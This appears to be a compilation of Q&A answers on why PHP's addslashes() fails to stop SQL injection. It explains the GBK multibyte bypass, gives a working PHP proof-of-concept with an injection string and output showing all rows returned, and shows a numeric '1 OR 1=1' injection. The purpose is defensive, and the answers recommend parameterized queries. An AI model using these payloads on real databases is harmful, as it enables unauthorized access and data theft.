Examples of SQL Injections Through Addslashes()

Examples of SQL Injections through addslashes()?

Well, here's the article you want.

Basically, the way the attack works is by getting addslashes() to put a backslash in the middle of a multibyte character such that the backslash loses its meaning by being part of a valid multibyte sequence.

The general caveat from the article:

This type of attack is possible with any character encoding where
there is a valid multi-byte character that ends in 0x5c, because
addslashes() can be tricked into creating a valid multi-byte character
instead of escaping the single quote that follows. UTF-8 does not fit
this description.

Is PHP's addslashes vulnerable to sql injection attack?

Shiflett shows a full working exploit in his blog entry. The code you show above doesn't seem to be following that example as it's not using the character set that exhibits the vulnerability. Still, the hole definitely exists.

Even if it happens to be safe in the specific scenario, the practice of using addslashes() is still dangerous and Shiflett's article should give you enough material to argue with, even though the circumstances the exploit requires are very esoteric, and they're not entirely trivial to reproduce.

If your client doesn't accept the danger without seeing a live exploit on their specific system, then they're not worth doing a security audit for.

SQL Injection and addSlashes

PDO and MySQLi have built-in functions for creating prepared queries which let you use quotes and apostrophes without any problems.

But for your question: Replace addslashes() with mysql_real_escape_string().


addslashes can be passed by very easily and is not safe at all.

Read this article for more info about bypassing addslashes.

Php addslashes sql injection still valid?

It seems working for me.

mysql:

mysql> select version();
+---------------------+
| version()           |
+---------------------+
| 5.0.45-community-nt |
+---------------------+
1 row in set (0.00 sec)

mysql> CREATE TABLE users (
    ->     username VARCHAR(32) CHARACTER SET GBK,
    ->     password VARCHAR(32) CHARACTER SET GBK,
    ->     PRIMARY KEY (username)
    -> );
Query OK, 0 rows affected (0.08 sec)

mysql> insert into users SET username='ewrfg', password='wer44';
Query OK, 1 row affected (0.02 sec)

mysql> insert into users SET username='ewrfg2', password='wer443';
Query OK, 1 row affected (0.03 sec)

mysql> insert into users SET username='ewrfg4', password='wer4434';
Query OK, 1 row affected (0.00 sec)

PHP:

<pre><?php
echo "PHP version: ".PHP_VERSION."\n";

mysql_connect();
mysql_select_db("test");
mysql_query("SET NAMES GBK");

$_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';
$_POST['password'] = 'guess';

$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());

$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());

mysql_set_charset("GBK");
$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$sql = "SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());

result:

PHP version: 5.3.3
string(29) "ї\' OR username = username /*"
int(3)
string(6) "latin1"
string(29) "ї\' OR username = username /*"
int(3)
string(6) "latin1"
string(30) "\ї\' OR username = username /*"
int(0)
string(3) "gbk"

Conclusions:

A second result going to be most surprising for those who chants "you should use mres instead of addslashes!"

SQL injection that gets around mysql_real_escape_string()

Consider the following query:

$iId = mysql_real_escape_string("1 OR 1=1");    
$sSql = "SELECT * FROM table WHERE id = $iId";

mysql_real_escape_string() will not protect you against this.
The fact that you use single quotes (' ') around your variables inside your query is what protects you against this. The following is also an option:

$iId = (int)"1 OR 1=1";
$sSql = "SELECT * FROM table WHERE id = $iId";

Is it safe using addslashes in php when parameter charset is utf-8?

In fact, there are two questions in one. And so it's better to voice them separately.

For the question

Is it safe using addslashes() if charset is utf8?

The answer is YES, it is safe.

Taken by itself, with isolated example, addslashes can produce a safe sequence to be used in the SQL string literal if your charset is utf8.

However, taken as a protection measure, intended, as it is commonly used, to "process all the input data to make it safe" it is proven to be fatally insecure. Which for the question

Is it safe using addslashes() to prevent SQL injection

makes it the only answer:

NO WAY!

Simply because that this honest function has nothing to do with protection from any injections. And never has been.

What you have to understand, is that the main threat is coming not from the semi-mythical GBK vulnerability, but entirely from the misuse of this function. As it's just not intended to protect you from injections. The topic of protection is much more complex than simple string escaping.

The problem is that there are a lot of rules to keep in mind. And there are a lot of points of possible failure.

For these reasons, a simple string escaping just cannot be considered as an all-embracing protection rule.

From this point of view, parametrized queries, although not offering the 100% protection, can be considered a WAY better measure anyway, eliminating three most dangerous threats:

• because numbers also covered, there is no way to inject via numeric literal
• because of complete formatting, a wrongly escaped identifier becomes not a breach but a development stage error.
• because of automated formatting, a human error is eliminated

The above these three reasons I consider enough for changing your approach.

Besides, properly implemented parametrized queries make your code DRAMATICALLY cleaner. Give me your addslashes-based code snippet, and I'll show you how to make it 3-5 times shorter and cleaner.

SQL injection in oracle with sanitized input

There are some examples of how to inject attack something using addslashes here:

• Examples of SQL Injections through addslashes()?
• http://hakipedia.com/index.php/SQL_Injection#Filter_Bypassing
• What does mysql_real_escape_string() do that addslashes() doesn't?
• http://www.itshacked.com/344/bypassing-php-security-addslashes-while-sql-injection-attacks-is-possible.html
• Is PHP's addslashes vulnerable to sql injection attack?

If that little lot does not convince the boss then maybe set up on a test server and create a POC injection against the code using what is explained in the above links to give a demonstration of an attack. A drop tables is quite dramatic as is tricking the script into spewing out the DB contents onto the page.

---

Related Topics